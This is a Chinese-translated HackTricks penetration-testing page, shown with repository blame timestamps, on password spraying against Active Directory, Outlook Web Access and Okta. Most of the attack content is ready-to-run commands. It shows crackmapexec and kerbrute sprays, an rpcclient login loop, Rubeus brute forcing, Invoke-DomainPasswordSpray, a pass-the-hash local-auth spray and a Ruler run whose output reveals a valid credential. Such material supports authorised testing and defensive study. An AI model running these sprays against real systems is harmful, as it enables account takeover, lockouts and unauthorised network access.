hacktricks/windows-hardening/active-directory-methodology/password-spraying.md

144 lines
8.5 KiB
Markdown
Raw Normal View History

2023-08-03 19:12:22 +00:00
# 密码喷洒攻击
2022-04-28 16:01:33 +00:00
<details>
2023-08-03 19:12:22 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧**。
2022-04-28 16:01:33 +00:00
</details>
2023-08-03 19:12:22 +00:00
## **密码喷洒攻击**
2023-08-03 19:12:22 +00:00
一旦你找到了几个**有效的用户名**,你可以尝试使用每个发现的用户的最常见密码(请记住环境的密码策略)。\
**默认情况下****密码**的**最小长度**为**7**。
2023-08-03 19:12:22 +00:00
常见用户名列表也可能很有用:[https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
2023-08-03 19:12:22 +00:00
请注意,如果你尝试了多个错误的密码,**可能会锁定一些账户**(默认情况下超过 10 次)。
2023-08-03 19:12:22 +00:00
### 获取密码策略
2022-10-05 21:51:12 +00:00
2023-08-03 19:12:22 +00:00
如果你拥有一些用户凭据或作为域用户的 shell你可以使用以下命令**获取密码策略**
2022-10-05 21:51:12 +00:00
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
2022-10-04 21:36:29 +00:00
2023-03-20 15:41:00 +00:00
enum4linux -u 'username' -p 'password' -P <IP>
2022-10-05 21:51:12 +00:00
2023-08-03 19:12:22 +00:00
rpcclient -U "" -N 10.10.10.10;
2022-10-05 21:51:12 +00:00
rpcclient $>querydominfo
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# From Windows
net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
2023-08-03 19:12:22 +00:00
### 从Linux或所有系统进行利用
2022-10-04 21:36:29 +00:00
2023-08-03 19:12:22 +00:00
* 使用 **crackmapexec**
```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
2022-10-05 21:51:12 +00:00
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
2023-08-03 19:12:22 +00:00
* 使用 [**kerbrute**](https://github.com/ropnop/kerbrute)Go语言
2022-10-05 21:51:12 +00:00
```bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
2023-08-03 19:12:22 +00:00
* [_**喷洒**_](https://github.com/Greenwolf/Spray) _**(您可以指定尝试次数以避免锁定):**_
2022-10-05 21:51:12 +00:00
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
2022-10-04 23:18:19 +00:00
```
2023-08-03 19:12:22 +00:00
* 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute)Python- 不推荐,有时无法正常工作
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
2023-08-03 19:12:22 +00:00
* 使用**Metasploit**的`scanner/smb/smb_login`模块:
2022-10-05 21:51:12 +00:00
![](<../../.gitbook/assets/image (132) (1).png>)
2023-08-03 19:12:22 +00:00
* 使用**rpcclient**
```bash
2022-10-05 21:51:12 +00:00
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
2023-08-03 19:12:22 +00:00
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
2022-10-05 21:51:12 +00:00
done
```
2023-08-03 19:12:22 +00:00
#### 来自Windows
2023-08-03 19:12:22 +00:00
* 使用[Rubeus](https://github.com/Zer1t0/Rubeus)带有暴力模块的版本:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
2023-08-03 19:12:22 +00:00
* 使用[**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)(默认情况下,它可以从域中生成用户,并从域获取密码策略,并根据策略限制尝试次数):
2022-10-05 21:51:12 +00:00
```powershell
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
2023-08-03 19:12:22 +00:00
* 使用[**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)脚本
2022-10-05 21:51:12 +00:00
```
Invoke-SprayEmptyPassword
```
2022-08-10 14:32:58 +00:00
## Outlook Web Access
2023-08-03 19:12:22 +00:00
有多种工具可用于进行Outlook的密码喷洒攻击。
2023-08-03 19:12:22 +00:00
* 使用[MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/)
* 使用[MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/)
* 使用[Ruler](https://github.com/sensepost/ruler)(可靠!)
* 使用[DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)Powershell
* 使用[MailSniper](https://github.com/dafthack/MailSniper)Powershell
2023-08-03 19:12:22 +00:00
要使用这些工具之一,您需要一个用户列表和一个密码/一个小的密码列表进行喷洒攻击。
```bash
2022-10-05 21:51:12 +00:00
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
2023-08-03 19:12:22 +00:00
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020
```
2023-08-03 19:12:22 +00:00
## 谷歌
2022-10-05 21:51:12 +00:00
* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
## Okta
* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
* [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
* [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
2023-08-03 19:12:22 +00:00
## 参考资料
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
* www.blackhillsinfosec.com/?p=5296
* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一个**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
2022-04-28 16:01:33 +00:00
</details>